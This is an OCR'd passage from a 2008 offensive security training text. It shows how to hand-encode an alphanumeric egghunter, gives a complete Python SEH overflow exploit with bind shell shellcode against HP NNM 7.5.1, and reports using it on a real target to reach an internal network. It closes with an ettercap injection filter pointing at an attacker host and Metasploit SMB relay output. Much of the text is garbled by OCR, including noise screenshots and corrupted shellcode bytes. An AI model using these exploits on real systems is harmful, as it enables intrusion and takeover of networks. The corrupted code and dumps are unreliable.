x05\x5a\x74\xef\xb8\x54\x30\x30\x57\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7”;

Writing alphanumeric shellcode with Calc

Let' start building our encoded egghunter shellcode.

We will use EAX to perform all the stack placements and calculations. We start by zeroing out

EAX, in order to have a clean slate:

25 4A4D4ES55 AND EAX, 554E4D4A
25 3532312A AND EAX, 2A313235
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We will use a nice trick to locate our position in the stack. If we push ESP onto the stack, and then

POP EAX, we will effectively hold the address of ESP in EAX. This will allow us to make relative

memory calculations for expanding our encoded payload.

1035FE4D 54 PUSH ESP
1035FE4E 58 POP EAX

In the next stage, we want to get the stack aligned with the “expansion” of our shellcode in memory.

This is where we introduce the starting point in the stack for our decoding shellcode.

We need to roughly estimate where our encoded shellcode ends (which is impossible to do ahead of
time, this stage is usually kept for last). We will assume that we know our encoded shellcode will

take up around 253 bytes.

We see that our preferred location for expanding our buffer is at an offset from ESP. We need to

add this value to ESP, using instructions which result in allowed characters.

2D 664D5555 SUB EAX,55554D66
2D 664B5555 SUB EAX,55554B66
2D 6A505555 SUB EAX, 5555506A

© All rights reserved to Author Mati Aharoni, 2008

118 BlackHat Vegas 2008




www.offensive-saecurity.com

ollyDbg - ovas.exe - [CPU - thread 0000093 - O] x|
@ File Wiew Debug Plugins ©Opbions ‘Window Help |5’|£|
u “'l " Ty
siedx|_»|n] 45+ 34 =] = u]ewv|wlnlcl/x]s]R].ds

183EFEER IMC EDI Reagisters (FPLU)
oeace j; s ER [IBSEFFS0, HC11_ " ANHHARRAARRERARA
e TiCgERT ECH ED2CECEE jum. EDZEECEE
e T gERT E0 FCO2EECE ntdll. FLSZEECS

EEH FCSZEEEZ ntdll. PCSZEEEZ
1P3EFEES| 47 INC EDI EEn HEEEEE
1PIEFERE| 47 IMC EDI =
e e
|GIEFEES| 25 4A4D4EES AMD ER, S54E4D4R At il

C B ES BE23 32bit BIFFFFFFFF)
1A35FEE4)| 58 FOF ER: F 1 C5 @@1E 2bit ©IFFFFFFFF)
1PEEFEES| 20 65405555 SUE ER, SEEC40EE S-S s
1P2EFEEA| 20 GE4BSEES SUE ER, CEEC4BEE 2D B e e miEEEEEE
{GZEFEEF| 20 EACESEES SUE ER, CEEECRER S o Bl e onh ShEErmOERE
s FOF B 10 B skl plllL
\G3EFETE| 47 INC EDI g
Eeis i TiCgERT 0 8 LaztEre ERROR_PROC_MOT_FOLND
1B3EFEFS| 47 IMC EDI EFL @E@EEZ16 [MHO,ME,NE, A, NS, FE, GE,
1B3EFEFD| 47 INC EDI L STE empty B.8
1BIEFEFA| 47 IMC EDI s L
| LESORER] —_LHC EOI STZ empty B.8
EAR=1G35FF S0, (ASCIT "ARRAARRANHOARARARROANAARAAAAROORA- OV00Cs ] 515 cnpty 6. 6

5T4 empty B.8

STE empty 8.8

L= Y Yt IEIElEIE]
Addrezs | Hen dump ASCII e Eggjiggg -

1B3EFF2C] 47 47 47 47|47 47 47 47|47 47 47 4747 47 47 47| GEEEEEGEGEGEGG 16=5E20R| FE341@35
1A3EFFEC| 47 47 47 47|47 47 47 47 47 47 47 4747 47 47 47| GEEEEEEEGEGG 1G=CESDE| EECe1mac
1A3EFF4C| 47 47 47 47| 47 47 47 47 47 47 47 47147 41 41 41| GEEEEEGEGEGEGEG 1GSEESEZ| FEZaroas
1A3EFFEC| 41 41 41 41/ 41 41 41 4141 41 41 41|41 41 41 41| ARBRRRBRARA 1GSCESES| ES9mi@as
1B3EFFEC| 41 41 41 41|41 41 41 41/ 41 41 41 41|41 41 41 41| ARRARARARARARRA 1G=CEZER| EEZaimat
1A3EFFFC| 41 41 <41 41|41 41 <41 4108800 41 41 41|41 41 41 41| ARRARARRAARA 1GSCESEE| Eopsroas
1GZEFF2C| 41 41 41 41/ 41 41 41 4141 41 41 4141 41 41 41| ARARRRRBRARA {G3EESF=| FE=41@3E
1B35FF2C| 41 41 41 41/ 41 41 41 4141 41 41 41|41 41 41 41| ARRRRRBRAREA {B=EESFE| ESC41G3E
1835FFAC| 41 41 <41 41/ 41 41 41 41 /41 41 41 41(41 41 41 41| ARRRRAARAARBA 1G2SESFA| E2841@35
1B3EFFEC| 41 2F 4F V& 44 6F &2 73| 2F 42 2F 64|72 6E &1 &0|A<OuDocs-Cr 1BSCESFE| ECAELESE
1A3EFFCC| 62 62 & &3 65 77 ¥2 2F 64 Fo 52 74|79 6C 65 L& icllisws- dus 1GZCE9RE| AERREOES
1B3EFFOC| 22 2E 72 60| &6C BR ES 77| VB S0 ES 77 88 BB 00 G8[ 3. qaml.pwp'p

a4 1B35E286| ESRSHE88

1G2EFFEC| @A BB GG 88 B8 GO 60 68 BC B4 BC FF7 @88 72 YA BF|........ a4
1B35E9EH| FE341825
1B3EFFFC| B8 BR B8 Q8 nooo 1GSCESRE| 4@CC1mIt

1B3EE912( ESASYCE1
1B3EE916( FE241835
1@3EES1A| ESC41825 _I
1835E21E( E924183%

1B3EES22| &CEE1B3E
1B3EE926( S9VABE0IS -
1AZEFa=n| EFonsAETA

| | | FPauzed

<]

Now that we've got EAX aligned to the place on the stack we want our decoded shellcode to be

written.

The next instructions will set our stack pointer to this address

0040101B 50 PUSH EAX
0040101cC 5C POP ESP
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Now we are free to write our “decoding” shellcode. We will take the original 32 byte egghunter

shellcode and break it down to 8 sets of 4 bytes. We will then proceed to “carve” these bytes into a

register (we will use EAX), and then push them onto the stack.

For example the first 4 bytes we will write will be the last 4 bytes of the egghunter shellcode -
“Ax75\xe7\xff\xe7”.  We need to make EAX equal E7TFFE775. We can do this by once again

zeroing out EAX, and some delicate hex calculations. Once this is done, EAX is pushed onto the

stack:

25 4A4D4ES55 AND EAX,554E4D4A # zero out EAX

25 3532312A AND EAX,2A313235 # zero out EAX

2D 21555555 SUB EAX, 55555521 # carve out last 4 bytes

2D 21545555 SUB EAX, 55555421 # carve out last 4 bytes

2D 496F556D SUB EAX,6D556F49 # carve out last 4 bytes

50 PUSH EAX# push E7FFE775 on to the stack (last 4 bytes of egghunter)

We continue with the next 4 bytes of the egghunter shellcode ‘“\xaf\x75\xea\xaf”. We need to make
EAX equal to AFEA75AF. We won't forget once again to zero out EAX.

25 4A4D4ES5 AND EAX,554E4D4A # zero out EAX
25 3532312A AND EAX,2A313235 # zero out EAX
2D 71216175 SUB EAX,75612171 # carve out last 4 bytes
2D 71216175 SUB EAX,75612171 # carve out last 4 bytes
2D 6F475365 SUB EAX, 6553476F # carve out last 4 bytes
50 PUSH EAX # push AFEA75AF on to the stack

This “encoding” process continues for the rest of the remaining egghunter shellcode.
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OllyDbg - ovas.exe - [CPU - thread 0000DE1C] O] x|
@ File Wiew Debug Plugine Options Window Help | |_|
u| ¥ L n P =g
siedx] »iu] % $4] = = sls|u/z]winlclsx|s|a].]s] 3
1B3EFEEY| 47 IMC EDI Registers [(FFPU)
1B2EFESE| 47 INC EDI T EREETTS
1B3SFESS| 25 4A4D4ESS AND EF, SS4E404A ECH JBDEEREI v, E0I5ECT1
1R3SFESE| 25 3532312A AND ERH, 2A213228 o SCRSEECE nidll. SEBSEECE
LA35FEES| 54 PUSH_ESP EEY PCOZEEEZ ntdll. PCEZEEES
1RZEFEES| B2 FOF EAX EoP |BScEFAa
1B2EFEES| 20 6E405555 SUE ER, SEEC40Em EBF 105CE9AD
1B2EFEEA| 20 EE4ESEEE SIE ER, CEEC4EER EST Gooasona
1BZEFEEF| 20 EESESEEE SIE ER, CEEEERER EDT ooenanon
1BZEFE74| Sa PLSH ER%
= & e
C 1 ES BE22 S2hit OIFFFFFFEF]
LA35FEFY| 3@ HoP F 1 G5 @@iE 32bit ©IFFFFFFFF)
1BZEFEFS| 25 4A404ESS AND EE, SS4E4040 L9 58 e e
1B2EFEFD| 25 2532312A AND ER, 2R213225 ® @ DS @055 5201t B(FFFFFFEE)
1B2EFEZ2| 20 21555555 SUE ERM,SSEEEEZ] S Y FE 005t Sohit FEFRDBRGLEFF)
1B2EFES7| 20 Z1E45EEE SUE ER,EEEEE4E] 2@ 65 eone NOCL
LGSSFESE| 2D 436FSSeD SUB EfiY, SDSSEF 43 06
1B3SFES]
LassFERL) o8 FHaH _ER 0 @ LastErr ERROR_PROC_MOT_FOUND
1R3SFESS| 41 INC ECH EFL BEEBEZS7 (MO,E,HE,EE,S,PE,L,LE
1BZEFES4| 25 4A404ESS AND EEi, SS4E4040 T8 e (L
1B2EFE22| 25 3522312Q AND ERi, 2A213225 371 embey BB
1B2EFEZE| 20 71216175 SUE ERM,7SE12171 275 cmety Blp
1BZEFEAS| 2D 71216175 SUE ERM, 7EE12171 275 cmety 66
1A2EFERS| 20 6F475365 SOE EAX, 6553476F 274 cmoty 66
LBSSFERD] EQ PLISH_ER% ZTE empty B0
s THCECH 5TE empty B, POOREHEEHHEEHEEEGHEE
1G3EFEED| 25 4R4D4ESE AND EGH, S54E4040 Sl
e SilE Ao i Ceey ooy cons 3568 eo i8] g
LGIEFEEF| 20 44347ESS SUE ERM, SSTEZ444 > | FCW BEFF Pres NEAR,SS Mask 1
L .| =0 L) | ThplTmaens
ECA=BDIRECTT { Jum. BOEEECT1]
Addrezz |Hew durp ASCLI m AFEATSAR =
LOZCFFoC| 41 41 41 41 41 41 41 41| ADADARAA e e
1 B3SFF A4 [AFTFENEATAR [TENETIFRIET| Sussut i neEERRaY utmiioy
1A3SFFAC| 41 41 41 41|41 41 41 41| ARAAAAAA neEERatd hnitay
1B3SFFE4|41 41 41 4141 41 41 41| AAAAAARA ToerrEal alalaidd
\BZEFFEC| 41 2F 4F 78|44 &F &3 73|A-0vDocs Eeae| Sty
\B2EFFC4| 2F 42 2F 64|79 EE &1 0| ~Codynam o e A
IB2EFFCC| 69 &2 S5 &2 65 77 73 OF| icMicws~ eeEne Geeenia
LAZEFFO4| 64 76 2 74| 79 &0 65 56| duSty el e
LAZEFFOC| 32 2E 72 60| 60 88 EG 77| S.0ml.pw EeEgE | BRErEss
1B3SFFE4| T8 68 E6 7r B8 08 BE BB| D Fwe... | \nEEEEEeH Eetee (.
{A3SFFEC| BB G0 GO B B8 B8 B8 B8] .. ...... — | EEdad| Chesries -
JRZCFFF4|BC B4 BC 77 22 TE 7D BF (494940 * e L ERENEE
| |F'auseu:|

Once the shellcode is manually encoded, it should decode correctly at execution time, and write a
32 byte egghunter shellcode a few bytes after the stage 1 shellcode ends. Once the stage 1 shellcode
executes and decodes, it then executes a few “nops” (\x47 instructions) and meets the decoded
egghunter shellcode. The egghunter is executed and starts looking for its egg (WOOTWOOT in our

case).
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From here on, the exercise should be familiar to you. We step over the egghunter and see that the

egg is successfully identified in memory and executed!

Getting code execution

We proceed to add a payload instead of our dummy buffer. We will test payload execution with a

bind shell on port 4444.

122
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bt ~ # ./exploit.py

[*] HP NNM 7.5.1 OVAS.exe SEH Overflow Exploit (0Oday)
[*] http://www.offensive-security.com

[*] Sending evil HTTP request to NNMz, ph33r

[*] Egghunter working

[*] Check payload results - may take up to a minute.
bt ~ # nc —nv 192.168.209.132 4444

(UNKNOWN) [192.168.209.132] 4444 (krb524) open
Microsoft Windows [Version 5.2.3790]

(C) Copyright 1985-2003 Microsoft Corp.

C:\>ipconfig

ipconfig

Windows IP Configuration

Ethernet adapter Local Area Connection 2:

Connection-specific DNS Suffix . : localdomain

IP Address. . . . . . . . . . . . :192.168.209.132

Subnet Mask . . . . . . . . . . . : 255.255.255.0

Default Gateway . . . . . . . . . : 192.168.209.2
C:\>

Success! We receive a shell! (even though there *is* a trick here).

The final exploit looks like this:

#!/usr/bin/python

2 o i

import socket
import os
import sys

print “[*] HP NNM 7.5.1 OVAS.exe SEH Overflow Exploit
print “[*] http://www.offensive-security.com”

# 0x6d356c6e pop pot ret somehwere in NNM 7.5.1

egghunter=(

(0Oday) "

“\x25\x4A\x4D\x4E\x55\x25\x35\x32\x31\x2A\x54\x58\x2D\x66\x4D\x55"”
“\x55\x2D\x66\x4B\x55\x55\x2D\x6A\x50\x55\x55\x50\x5C\x41\x41\x25"
“Nx4A\x4D\x4E\x55\x25\x35\x32\x31\x2A\x2D\x21\x55\x55\x55\x2D\x21"”
“\x54\x55\x55\x2D\x49\x6F\x55\x6D\x50\x41\x41\x25\x4A\x4D\x4E\x55"”
“\x25\x35\x32\x31\x2A\x2D\x71\x21\x61\x75\x2D\x71\x21\x61\x75\x2D"
“\x6F\x47\x53\x65\x50\x41\x41\x25\x4A\x4D\x4E\x55\x25\x35\x32\x31"”
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“N\x2A\x2D\x44\x41\x7E\x58\x2D\x44\x34\x7E\x58\x2D\x48\x33\x78\x54"
“\x50\x41\x41\x25\x4A\x4D\x4E\x55\x25\x35\x32\x31\x2A\x2D\x71\x7A"
“\x31\x45\x2D\x31\x7A\x31\x45\x2D\x6F\x52\x48\x45\x50\x41\x41\x25"
“Nx4A\x4D\x4E\x55\x25\x35\x32\x31\x2A\x2D\x33\x73\x31\x2D\x2D\x33"”
“\x33\x31\x2D\x2D\x5E\x54\x43\x31\x50\x41\x41\x25\x4A\x4D\x4E\x55"
“\x25\x35\x32\x31\x2A\x2D\x45\x31\x77\x45\x2D\x45\x31\x47\x45\x2D"”
“N\x74\x45\x74\x46\x50\x41\x41\x25\x4A\x4D\x4E\x55\x25\x35\x32\x31"”
“\x2A\x2D\x52\x32\x32\x32\x2D\x31\x31\x31\x31\x2D\x6E\x5A\x4A\x32"
“\x50\x41\x41\x25\x4A\x4D\x4E\x55\x25\x35\x32\x31\x2A\x2D\x31\x2D"”
“Nx77\x44\x2D\x31\x2D\x77\x44\x2D\x38\x24\x47\x77\x50")

bindshell=(“TOOWTOOW"” +

“\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xXxff\xff\x4f\x49\x49\x49\x49\x49"”
“\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
“\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
“Nx41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
“\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\xde\x4f\x4c\x46\x4b\x4de”
“N\x4d\x34\x4a\x4e\x49\x4f\x4f\x4f\x4f\x4f\x4f\x4£f\x42\x56\x4b\x38"”
“Nx4e\x56\x46\x52\x46\x52\x4b\x38\x45\x44\x4e\x43\x4b\x38\x4e\x47"
“\x45\x50\x4a\x47\x41\x30\x4f\x4e\x4b\x48\x4f\x44\x4a\x41\x4b\x48"”
“\x4f\x45\x42\x32\x41\x30\x4b\x4e\x49\x34\x4b\x58\x46\x53\x4b\x38"”
“N\x41\x50\x50\x4e\x41\x33\x42\x4c\x49\x39\x4e\x4a\x46\x58\x42\x4c”
“Nx46\x47\x47\x30\x41\x4c\x4c\x4c\x4d\x30\x41\x50\x44\x4c\x4b\x4de”
“\x46\x4f\x4b\x43\x46\x55\x46\x52\x4a\x52\x45\x57\x45\x4e\x4b\x48"”
“\x4f\x35\x46\x42\x41\x30\x4b\x4e\x48\x56\x4b\x38\x4e\x30\x4b\x34"
“N\x4b\x58\x4f\x55\x4e\x31\x41\x50\x4b\x4e\x43\x30\x4e\x32\x4b\x48"”
“\x49\x48\x4e\x46\x46\x42\x4e\x41\x41\x36\x43\x4c\x41\x33\x4b\x4d”
“\x46\x36\x4b\x38\x43\x34\x42\x53\x4b\x58\x42\x44\x4e\x50\x4b\x38"
“N\x42\x57\x4e\x41\x4d\x4a\x4b\x48\x42\x54\x4a\x50\x50\x55\x4a\x46"
“\x50\x38\x50\x54\x50\x30\x4e\x4e\x42\x55\x4f\x4f\x48\x4d\x48\x56"
“\x43\x55\x48\x46\x4a\x56\x43\x43\x44\x43\x4a\x56\x47\x47\x43\x37"
“N\x44\x43\x4Ff\x45\x46\x35\x4f\x4f\x42\x4d\x4a\x36\x4b\x4c\x4d\x4de”
“Nx4e\x4f\x4b\x53\x42\x55\x4f\x4f\x48\x4d\x4f\x35\x49\x58\x45\x4e”
“\x48\x36\x41\x38\x4d\x4e\x4a\x30\x44\x50\x45\x55\x4c\x56\x44\x30"
“N\x4f\x4f\x42\x4d\x4a\x36\x49\x4d\x49\x30\x45\x4f\x4d\x4a\x47\x35"
“N\x4f\x4f\x48\x4d\x43\x35\x43\x35\x43\x55\x43\x35\x43\x55\x43\x44"
“\x43\x35\x43\x44\x43\x35\x4f\x4f\x42\x4d\x48\x36\x4a\x46\x41\x41"”
“\x4e\x45\x48\x36\x43\x45\x49\x38\x41\x4e\x45\x49\x4a\x36\x46\x4a"”
“Nx4c\x41\x42\x37\x47\x4c\x47\x45\x4f\x4f\x48\x4d\x4c\x56\x42\x31"
“\x41\x35\x45\x35\x4f\x4f\x42\x4d\x4a\x46\x46\x4a\x4d\x4a\x50\x42"
“\x49\x4e\x47\x35\x4f\x4f\x48\x4d\x43\x35\x45\x45\x4f\x4f\x42\x4d”
“\x4a\x36\x45\x4e\x49\x34\x48\x58\x49\x54\x47\x55\x4f\x4f\x48\x4d”
“\x42\x45\x46\x45\x46\x55\x45\x55\x4f\x4f\x42\x4d\x43\x59\x4a\x56"
“Nx47\x4e\x49\x37\x48\x4c\x49\x47\x47\x55\x4f\x4f\x48\x4d\x45\x55"
A\RAF\x4F\x42\x4d\x48\x56\x4c\x46\x46\x36\x48\x46\x4a\x56\x43\x56"
“\x4d\x56\x49\x38\x45\x4e\x4c\x46\x42\x45\x49\x55\x49\x52\x4e\x4c”
“\x49\x38\x47\x4e\x4c\x56\x46\x34\x49\x48\x44\x4e\x41\x43\x42\x4c"”
“\x43\x4f\x4c\x4a\x50\x4f\x44\x34\x4d\x42\x50\x4f\x44\x34\x4e\x52"
“\x43\x49\x4d\x58\x4c\x47\x4a\x43\x4b\x4a\x4b\x4a\x4b\x4a\x4a\x36"
“Nx44\x37\x50\x4f\x43\x4b\x48\x51\x4f\x4f\x45\x47\x46\x34\x4f\x4f"”
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“\x48\x4d\x4b\x35\x47\x35\x44\x45\x41\x45\x41\x45\x41\x55\x4c\x36"
“Nx41\x50\x41\x45\x41\x55\x45\x35\x41\x45\x4f\x4f\x42\x4d\x4a\x46"
“Nx4d\x4a\x49\x4d\x45\x50\x50\x4c\x43\x45\x4f\x4f\x48\x4d\x4c\x46"”
N\NxAF\x4F\x4F\x4F\x47\x43\x4f\x4Ff\x42\x4d\x4b\x48\x47\x55\x4e\x4ft"”
“\x43\x48\x46\x4c\x46\x46\x4f\x4Ff\x48\x4d\x44\x55\x4f\x4f\x42\x4d"”
“Nx4a\x46\x42\x4f\x4c\x58\x46\x50\x4f\x45\x43\x45\x4f\x4f\x48\x4d”
“\x4f\x4f\x42\x4d\x5a” + “\xcc” * 500)

evilcrash = “\x4c”*3379 + “\x77\x21\x6e\x6c\x35\x6d” + “G”*32 +egghunter +
“A"*100 + “:7510"

buffer=“GET /topology/homeBaseView HTTP/1.1\r\n”
buffer+=“Host: “+evilcrash + “\r\n”

buffer+=“Content-Type: application/x-www—form-urlencoded\r\n”
buffer+=“User-Agent: “+ bindshell+ “\r\n”
buffer+=“Content-Length: 1048580\r\n\r\n”

buffer+=bindshell

print “[*] Sending evil HTTP request to NNMz, ph33r”

expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
expl.connect ((“192.168.240.128"”, 7510))

expl.send (buffer)
expl.close ()

print “[*] Egghunter working
print “[*] Check payload results - may take up to a minute.”

”

Last words

Once code execution was gained, tested and verified, we replaced the bind shell with a reverse
meterpreter shell and executed it against the real target. Fortunately for us, a connection was

established, and SYSTEM access was granted.

As this specific machine could manage and control the network infrastructure of the DMZ, we were
then able to take over the external infrastructure, and allow ourselves into the internal corporate

network.

Challenge #8
Recreate the NNM exploit from POC on a Windows 2003 SP1 machine. Deploy an encoded

egghunter as one of your payloads.
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Advanced ARP spoofing attacks

This last module is a placeholder for a short demo, if time permits. An interesting experiment
documented on the remote exploit forums was done — combining ARP spoofing attacks with LM

and NTLM authentication weaknesses in Windows — this is the result:

(MITM attacks resulting in code execution on fully patched Windows XP SP2/3 boxes).

if (ip.proto == TCP && tcp.dst == 80) {
if (search(DATA.data, "Accept-Encoding")) {
replace ("Accept-Encoding", "Accept-nothing!");
msqg ("Replaced Accept-Encoding!\n"); }
}
if (ip.proto == TCP && tcp.src == 80) {
replace ("<body", "<body background=file://<attacker>/pwnd.jpg") ;
msqg ("Pwnsauce?"); }

We compile this filter using etterfilter:

bt ~ # etterfilter -o shareme.ef share me.ef
etterfilter NG-0.7.3 copyright 2001-2004 ALoR & NaGA
12 protocol tables loaded:
DECODED DATA udp tcp gre icmp ip arp wifi fddi tr eth
11 constants loaded:
VRRP OSPF GRE UDP TCP ICMP6 ICMP PPTP PPPoE IP ARP
Parsing source file 'share me.ef' done.
Unfolding the meta-tree done.

Converting labels to real offsets done.
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Writing output to 'shareme.ef' done.

—-> Script encoded into 15 instructions.

bt ~ #

Start Targets Hosts View Mitm Filters Logging Plugins Help

Host List x

IP Address MAC Address Description —
192.168.2.1  00:19:5B:2B:F2:20
192.168.2.100 00:1C:C0:26:DB:88
192.168.2.102 00:1D:7D:4B:58:66
192.168.2.104 00:17:F2:C6:EC:EY

192.168.2.107 00:0C:29:.B0:01:D2 Z|
Delete Host Add to Target 1 Add to Target 2 |
RP poisoning victims: B
GROUP 1:192.168.2.1 00:19:5B:2B:F2:20 J
GROUP 2 :192.168.2.107 00:0C:29:B0:01: D2
Starting Unified sniffing. ..
Pwnsauce?
Replaced Accept-Encoding!
Pwnsauce?
Ml e 1 o | J
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Bask in the glory of Code Execution:

Metasploit Framework

Systern Window  Help

xgancel @Eind dxun
- Job 1D Module
W psexec Microsaft Windows Authenticated User Code Executior N 5 T R T L T e
'@ smb_relay Microsoft Windows SMB Relay Code Execution
[ smtp
P ssh -
— 5 |0 b
Module Information . Hodule Output - Sessions
[22:06:40 - smb_relay [*] You *MUST* manually delete the service file: 192.168.2.107 %5YSTEMRO]| [= =mE e
22 Nh: 0. smbtsrelay 1 192.168.2.107:1135 meterpreter

22:06:40 - smb_relay [*] Starting the service...

22:06:40 - smb_relay [*] Transmitting intermediate stagerforoversized stage. (89 bytes)
22:06:41 - smb_relay [*] Sending stage (2650 bytes)

22:06:41 - smb_relay [*] Sleeping befare handling stage..

22:06:43 - smb_relay [*] Uploading DLL {73227 bytes)...

22:06:43 - smb_relay [*] Upload completed.

122:06:43 - [*] Session 1 created for192.168.2.107:1135

OTNE.CA ek 1o (k] Cmmedimn Arener Damind e 1073160 31071124 C1IERMTT A0S b n e

Loaded 294 exploits, 124 payloads, 17 encoders, 6 nops, and 58 auxiliary /j
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